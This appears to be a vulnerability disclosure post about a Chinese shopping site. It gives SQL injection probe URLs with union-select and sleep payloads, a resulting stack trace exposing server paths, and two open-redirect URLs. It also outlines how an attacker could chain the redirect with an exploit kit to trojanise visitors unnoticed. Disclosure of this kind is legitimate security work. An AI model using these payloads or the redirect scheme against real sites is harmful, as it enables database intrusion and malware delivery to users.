There are URL Redirection Bugs & amp; Possible SQL Injection BUG I

Possible SQL Injection BUG is found here:
Http://www.jiapin.com/listgoods/index/cat_id/+union+select+1,2,+ --
Http://www.jiapin.com/listgoods/index/cat_id/+sleep (1) % 23
 
Accessing that url and you will see the following error:
SQLSTATE [42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Union select 1, 2, --; # sqlEye: http://www.jiapin.com/listgoods/index/cat_id/#unio' at line 1
#0/www/goods/library/Zend/Db/Statement. php (320): Zend_Db_Statement_Pdo-> _ execute (Array)
#1/www/goods/library/Zend/Db/Adapter/Abstract. php (481): Zend_Db_Statement-> execute (Array)
#2/www/goods/library/Zend/Db/Adapter/Pdo/Abstract. php (238): Zend_Db_Adapter_Abstract-> query ('select cat_id, c... ', Array)
#3/www/goods/library/Zend/Db/Adapter/Abstract. php (738): Zend_Db_Adapter_Pdo_Abstract-> query ('select cat_id, c... ', Array)
#4/www/goods/application/default/models/SeoModel. php (37): Zend_Db_Adapter_Abstract-> fetchAll ('select cat_id, c ...')
#5/www/goods/application/default/models/SeoModel. php (62): SeoModel-> seo_search_lists ('Union select 1 ...')
#6/www/goods/application/default/controllers/ListgoodsController. php (30): SeoModel-> seo_TDK ('Union select 1... ', NULL, NULL, Array)
#7/www/goods/library/Zend/Controller/Action. php (513): ListgoodsController-> indexAction ()
#8/www/goods/library/Zend/Controller/Dispatcher/Standard. php (295): Zend_Controller_Action-> dispatch ('indexaction ')
#9/www/goods/library/Zend/Controller/Front. php (954): Zend_Controller_Dispatcher_Standard-> dispatch (Object (Zend_Controller_Request_Http), Object (Zend_Controller_Response_Http ))
#10/www/goods/html/bootstrap. php (102): Zend_Controller_Front-> dispatch ()
#11/www/goods/html/bootstrap. php (31): Application-> dispatch ()
#12/www/goods/html/index. php (75): Application->__ construct (Array)
#13 {main}
 
Severity: URL Redirection bug
Confidence: Confident
Host: http://user.jiapin.com/
Path:/pageview/pos? App = from_tag & url = http://www.jiapin.com/list/14565.html
 
Issue detail:
This is considered quite serious if it's in a consumer type of website as attackers can make use of this to redirect victims to another website.
 
OK, the flaw is that the original url will look like the following
Http://user.jiapin.com/pageview/pos? App = from_tag & url = http://www.jiapin.com/list/14565.html
However, an attacker can change the final url to the following
User.jiapin.com/pageview/pos? App = from_tag & url = http://ebay.de
 
If attackers have exploit kit, they can redirect victims to their website, fire up an iframe showing the original content from jiapin.com
After they had exploited or trojanised the victim, just do another redirect to the original website.
This way, victims will not notice much.: D In my test case, I redirect user (s) to ebay.de: D
 
The other URL Redirection bug cocould be found here:
Http://user.jiapin.com/cps/cpslogin/together/c5ac81fe5e0d6246dcb4c769ead4c3ea? Url_t = http://news.jiapin.com/html/zx/jiapinguandi/2012/0822/6690.html
 
Similarly, if you replace
Http://news.jiapin.com/html/zx/jiapinguandi/2012/0822/6690.html
With http://ebay.de and the final url look like this:
Http://user.jiapin.com/cps/cpslogin/together/c5ac81fe5e0d6246dcb4c769ead4c3ea? Url_t = http://ebay.de
Victims will be redirected to eBay.de instead



Or the image below